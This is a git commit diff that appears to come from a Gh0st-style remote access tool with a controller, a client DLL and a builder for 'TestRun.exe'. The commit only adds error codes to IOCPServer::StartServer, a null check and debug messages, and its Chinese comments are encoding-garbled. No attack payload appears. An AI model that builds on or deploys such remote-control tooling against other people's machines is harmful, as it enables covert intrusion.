fix: IOCPServer::StartServer and IOCPClient::WorkThreadProc
This commit is contained in:
@@ -8,6 +8,9 @@ EndProject
|
|||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||||
|
EndProjectSection
|
||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
EndProject
|
EndProject
|
||||||
|
|||||||
@@ -192,7 +192,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}else{
|
}else{
|
||||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||||
if (This->m_Manager->m_bIsDead)
|
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||||
{
|
{
|
||||||
printf("****** Recv bye bye ******\n");
|
printf("****** Recv bye bye ******\n");
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
|
|||||||
@@ -787,10 +787,13 @@ VOID CMy2015RemoteDlg::ListenPort()
|
|||||||
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||||
{
|
{
|
||||||
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
UINT ret = 0;
|
||||||
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
|
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> StartServer Failed \n");
|
OutputDebugStringA("======> StartServer Failed \n");
|
||||||
|
char code[32];
|
||||||
|
sprintf_s(code, "%d", ret);
|
||||||
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
|
||||||
}
|
}
|
||||||
|
|
||||||
CString strTemp;
|
CString strTemp;
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
if (_access(path, 0) == -1)
|
if (_access(path, 0) == -1)
|
||||||
{
|
{
|
||||||
MessageBox("\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
MessageBox(CString(path)+"\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
return CDialog::OnOK();
|
return CDialog::OnOK();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -101,7 +101,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
File.Write(szBuffer,dwFileSize);
|
File.Write(szBuffer,dwFileSize);
|
||||||
File.Close();
|
File.Close();
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!");
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile);
|
||||||
}
|
}
|
||||||
catch (CMemoryException* e)
|
catch (CMemoryException* e)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -140,7 +140,8 @@ IOCPServer::~IOCPServer(void)
|
|||||||
WSACleanup();
|
WSACleanup();
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
// <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
|
||||||
|
UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||||
{
|
{
|
||||||
m_NotifyProc = NotifyProc;
|
m_NotifyProc = NotifyProc;
|
||||||
m_OfflineProc = OffProc;
|
m_OfflineProc = OffProc;
|
||||||
@@ -148,14 +149,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
if (m_hKillEvent==NULL)
|
if (m_hKillEvent==NULL)
|
||||||
{
|
{
|
||||||
return FALSE;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
|
|
||||||
if (m_sListenSocket == INVALID_SOCKET)
|
if (m_sListenSocket == INVALID_SOCKET)
|
||||||
{
|
{
|
||||||
return FALSE;
|
return 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_hListenEvent = WSACreateEvent();
|
m_hListenEvent = WSACreateEvent();
|
||||||
@@ -165,7 +166,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
return FALSE;
|
return 3;
|
||||||
}
|
}
|
||||||
|
|
||||||
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -174,6 +175,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
if (iRet == SOCKET_ERROR)
|
if (iRet == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
@@ -181,7 +183,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
SOCKADDR_IN ServerAddr;
|
SOCKADDR_IN ServerAddr;
|
||||||
@@ -204,13 +206,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
iRet = listen(m_sListenSocket, SOMAXCONN);
|
iRet = listen(m_sListenSocket, SOMAXCONN);
|
||||||
|
|
||||||
if (iRet == SOCKET_ERROR)
|
if (iRet == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
@@ -218,7 +221,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_hListenThread =
|
m_hListenThread =
|
||||||
@@ -230,18 +233,19 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
|||||||
NULL);
|
NULL);
|
||||||
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
closesocket(m_sListenSocket);
|
closesocket(m_sListenSocket);
|
||||||
|
|
||||||
m_sListenSocket = INVALID_SOCKET;
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
WSACloseEvent(m_hListenEvent);
|
WSACloseEvent(m_hListenEvent);
|
||||||
|
|
||||||
m_hListenEvent = WSA_INVALID_EVENT;
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
return FALSE;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
||||||
InitializeIOCP();
|
InitializeIOCP();
|
||||||
return TRUE;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -385,7 +389,9 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
|
|
||||||
ContextObject = NULL;
|
ContextObject = NULL;
|
||||||
}
|
}
|
||||||
catch (...) {}
|
catch (...) {
|
||||||
|
OutputDebugStringA("This->HandleIO catched an error!!!");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ public:
|
|||||||
|
|
||||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||||
|
|
||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
BOOL InitializeIOCP(VOID);
|
BOOL InitializeIOCP(VOID);
|
||||||
|
|||||||
Reference in New Issue
Block a user